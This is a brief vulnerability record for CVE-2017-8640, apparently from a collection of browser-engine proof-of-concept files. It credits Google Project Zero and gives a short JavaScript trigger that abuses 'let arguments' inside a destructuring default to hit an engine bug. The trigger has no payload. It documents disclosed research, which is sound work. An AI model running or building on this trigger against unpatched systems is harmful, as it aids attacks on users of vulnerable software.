CVE-2017-8640.md

CVE-2017-8640

• Fix: Aug 2017
• Credit: lokihardt of Google Project Zero

PoC

function f() {
    ({a = () => {
        let arguments;
    }} = 1);

    arguments.x;
}

f();

Reference

• Microsoft
• Google Project Zero